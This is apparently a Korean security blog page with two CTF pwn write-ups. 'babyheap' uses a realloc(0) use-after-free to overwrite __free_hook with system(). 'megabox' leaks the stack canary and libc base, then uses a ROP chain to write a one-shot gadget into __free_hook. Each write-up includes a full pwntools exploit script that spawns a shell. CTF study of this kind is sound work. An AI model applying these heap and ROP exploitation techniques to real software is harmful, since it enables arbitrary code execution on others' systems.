'free_got'에 해당되는 글 2건
- 2017.07.20 [Secuinside CTF_2017] babyheap(pwn)
- 2017.01.10 [BoB CTF_2016] megabox(pwn) 2
## Secuinside CTF_2017(babyheap, pwn)
[Summary]
1. realloc(0)이 free()역할을 하는 점을 이용한 UAF 취약점
2. 멤버를 0xff, 0x1만큼 추가하여 0xff만큼 할당시킨 후 realloc(0)이 되게 만들어 free()를 한다.
3. 팀을 0x7f8(0xff * 0x8)의 크기로 create하면 2번에서 free된 자리에 할당된다.
(이 때 팀의 description에는 __free_got주소를 넣는다.)
4. manage_member 기능을 활용하여 0x7f8의 0번째에 system함수주소를 덮어씌운다.(UAF)
(__free_got주소안에 system함수 주소를 넣는다.)
5. delete member기능을 이용하여 free()를 하면 system('/bin/sh')이 실행된다.
(이 때 멤버의 description에는 "/bin/sh\x00"문자열이 들어있어야 한다.)
6. Leak은 팀을 생성한 후 멤버를 0xff만큼 추가하고 멤버 한명을 삭제하면
fd,bk쪽에 빈리스트의 주소가 저장되는데 이를 릭한 후 오프셋 계산을 통해 libc base를 계산한다.
(마찬가지로 system주소, __free_got도 계산)
7. Heap Leak도 할 수 있지만 여기서는 필요 없다.
[Analysis]
시간 나면 업데이트 예정..(근데 summary에 너무 자세하게 설명했다.)
이 문제는 대회때는 Heap 주소 릭까지만 하고 그 이후는 진전이 없었던 문제이다. 대회가 끝난 후 WriteUp을
참고하여 문제를 풀 수 있었다. 열심히 공부해야겠다..
[Exploit Code] - babyheap_exploit.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 | from pwn import * import os #import hexdump context(arch='amd64',os='linux') local=True #local=False if local: #env = {"LD_PRELOAD": os.path.join(os.getcwd(), "./libc.so.6")} p = process("./babyheap") else: p = remote("13.124.157.141", 31337) binary = ELF("./babyheap") raw_input() def print_menu(): print p.recvuntil('>') def create_team(length, desc): print_menu() p.send('1\n') print p.recvuntil('length :') p.send(length+'\n') print p.recvuntil('Description :') p.send(desc) def manager_team(index): print_menu() p.send('3\n') print p.recvuntil('Index :') p.send(index+'\n') def list_team(team_cnt): print_menu() p.send('4\n') for i in xrange(team_cnt): print p.recvuntil('Description : ') if (i+1) == team_cnt: leak = p.recv(6); print leak return leak def add_member(employment_cnt): print_menu() p.send('1\n') print p.recvuntil('employment :') p.send(employment_cnt+'\n') def add_member_info(name, desc): print p.recvuntil('Name :') p.send(name) print p.recvuntil('Description :') p.send(desc) def delete_member(index): print_menu() p.send('2\n') print p.recvuntil('Index :') p.send(index+'\n') def manage_member(index, desc): print_menu() p.send('4\n') print p.recvuntil('Index :') p.send(index+'\n') print p.recvuntil('Description :') p.send(desc) def return2team(): print_menu() p.send('5\n') if __name__ == '__main__': #################### Stage 1 ################### # libc base leak & calc libc's free_hook # ################################################ create_team(str(5), 'AAAA') # 0 team manager_team('0') emp_cnt = 0xff add_member(str(emp_cnt)) for i in xrange(emp_cnt): add_member_info('/bin/sh\x00','/bin/sh\x00') delete_member('0') return2team() create_team(str(0xc8), '\n') # 1 team+0x16~ : free list's addr libc_leak = u64(list_team(2)+"\x00\x00"); print hex(libc_leak) libc_base = libc_leak - 0x3c270a free_hook = libc_base + 0x3c4a10 system = libc_base + 0x46590 print "[+] libc base addr : " + hex(libc_base) print "[+] libc free_hook : " + hex(free_hook) print "[+] system addr : " + hex(system) ################### Stage 2 #################### # overwrite __free_hook to system using UAF # ################################################ manager_team('0') add_member('1') # realloc(0) => free() return2team() create_team(str(0x7f8), p64(free_hook)+'\n') # 0xff*0x8 = 0x7f8 => uaf manager_team('0') manage_member('0', p64(system)) # overwrite free_hook to system(uaf) delete_member('4') # triggering to free(overwritten system) p.interactive() | cs |
'CTF writeup' 카테고리의 다른 글
[Secuinside CTF_2017] snake(reversing) (0) | 2017.07.22 |
---|---|
[Secuinside CTF_2017] TrippleRotate(reversing) (0) | 2017.07.22 |
[Codegate CTF_2017] EasyCrack 101(reversing) (0) | 2017.02.19 |
[Codegate CTF_2017] angrybird(reversing) (0) | 2017.02.19 |
[Codegate CTF_2017] RamG-thunder(reversing) (2) | 2017.02.19 |
## BoB CTF_2016(megabox,pwn)
[Summary]
1. memory leak이 간단하고 canary와 libc's base addr을 Leak해야함.
2. clone()함수로 sandbox를 걸어놓음. -> sandbox escape(?)를 해야함.
3. FULL RELRO가 걸려있어 got overwrite가 불가능
4. libc의 got overwrite는 가능한데 free함수를 사용할 경우 free_hook의 got를 realloc함수를 사용할 경우
realloc_hook의 got를 overwrite해야함.
[Analysis]
- (https://drive.google.com/open?id=0B12bAVEUfDg7bjhNU1J2ZTZOOHc) - (megabox binary)
- (https://drive.google.com/open?id=0B12bAVEUfDg7NExKLTdRaWNfTHM) - (libc binary)
[그림 1] - main()함수 hex-ray
IDA를 이용하여 [그림 1]과 같이 바이너리를 뜯어보면 clone()함수로 fn이라는 함수를 sandbox에 넣어 동작시키는 것을 알 수 있다.
처음에는 이게 sandbox인 것조차 알지 못하고 대회때는 풀지 못했다.
mmap()으로 0x41410000영역에 커스텀 스택의 ret를 간단하게 rop를 하여 one-shot가젯을 쓸 수 있을 거라 생각했는데
그게 아니었다. sandbox에 막혔다.
그리고 보호기법은 Full RELRO였기 때문에 got overwrite가 불가능 했고, 따라서 libc의 got를 덮어쓸 수 있었다.
아래 [그림 2]와 같이 조금 자세히 fn을 보면 1번 메뉴를 통해 커스텀 스택에 bof가 터지는게 너무 눈에 띄게 취약점이 보였고,
2번 메뉴를 통해 Memory Leak을 할 수 있었는데 canary와 ret에 저장되어있는 clone+109의 주소를 릭해서 libc의 base addr를
구할 수 있었고, 이를 통해 libc의 free_hook의 got를 oneshot가젯의 주소로 덮어씌워서 exploit이 가능했다.
[그림 2] - fn()함수
[Exploit Code] - megabox_exploit.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 | from pwn import * import hexdump import struct context(arch='i686', os='linux') #local=False local=True if local: p = process("./megabox_patch") else: p = remote("52.34.185.58", 10001) binary = ELF("./megabox") raw_input() payload = "A"*136 oneshot_offset = 0x4647C #libc_free_got_offset = 0x3BDF98 #libc_free_got_offset = 0x3BE060 libc_free_hook_got_offset = 0x3C0A10 #wjret = 0x4141414141414141 gets_plt = 0x4009C0 poprdi_offset = 0x22b9a #read_plt = 0x400980 #printf_plt = 0x400960 canary_leak = ''; oneshot_addr = ''; poprdi_addr = ''; libc_free_hook_got_addr = ''; clone_109 = '' def write_feedback(feedback): p.recv(1024); p.send('1\n'); sleep(0.5) p.recv(1024) p.send(feedback+'\n'); sleep(0.5) def read_feedback(debug_level=0): global canary_leak,oneshot_addr,poprdi_addr,libc_free_hook_got_addr,clone_109 p.recvuntil('menu>>> '); p.send('2\n'); sleep(0.5) p.recvuntil('oops!!\n') stack_leak = p.recv(1024) canary_leak = stack_leak[136:144] clone_109 = stack_leak[152:160] canary_leak = u64(canary_leak) clone_109 = u64(clone_109) libc_base_addr = clone_109-0xfa37d libc_free_hook_got_addr = libc_base_addr + libc_free_hook_got_offset oneshot_addr = libc_base_addr + oneshot_offset poprdi_addr = libc_base_addr + poprdi_offset #canary_leak = struct.unpack("L", canary_leak) #clone_109_leak = struct.unpack("L", clone_109) if debug_level == 1: hexdump.hexdump(stack_leak[:176]) print "[+] canary's addr : " + hex(canary_leak) print "[+] clone+109's addr : " + hex(clone_109) print "[+] gets's plt addr : " + hex(gets_plt) print "[+] libc_base's addr : " + hex(libc_base_addr) print "[+] libc's free_hook got addr : " + hex(libc_free_hook_got_addr) print "[+] oneshot's addr : " + hex(oneshot_addr) print "[+] poprdi's addr : " + hex(poprdi_addr) #################### Init ###################### p.recvuntil('your name... ') p.send('wjdebug\n'); sleep(0.5) #################### stage 1 ################## # Memory Leak Vuln # ############################################### write_feedback(payload) read_feedback(1) #################### stage 2 ################## # overwrite libc's free_got to oneshot gadget # ############################################### #stage2_payload = payload+p64(canary_leak)+p64(0)+p64(poprdi_addr)+p64(libc_free_got_addr)+p64(oneshot_addr) stage2_payload = payload stage2_payload += p64(canary_leak) stage2_payload += p64(0) stage2_payload += p64(poprdi_addr) stage2_payload += p64(libc_free_hook_got_addr) stage2_payload += p64(gets_plt) stage2_payload += p64(clone_109) write_feedback(stage2_payload) ################### stage 3 ################### # Exploit ~~~~~~~~~~!!! # ############################################### p.recv(4096); p.send('3\n'); sleep(0.5) # vuln trigger p.send(p64(oneshot_addr)+'\n') # input gets's arg p.interactive() | cs |
[Get Shell~~!!!!]
[그림 3] 쉘 획득~!
끝~!
ps) Thanks to s0ngsari(s0ngsari.tistory.com)
'CTF writeup' 카테고리의 다른 글
[Codegate CTF_2017] BabyMISC(MISC) (0) | 2017.02.18 |
---|---|
[Christmas CTF_2016] who is solo(pwn) (8) | 2017.01.17 |
[Christmas CTF_2016] StupidRSA(misc) (0) | 2016.12.26 |
[Christmas CTF_2016] NMS(misc) (0) | 2016.12.26 |
[Holyshield CTF_2016] pwnme(pwn) (0) | 2016.12.26 |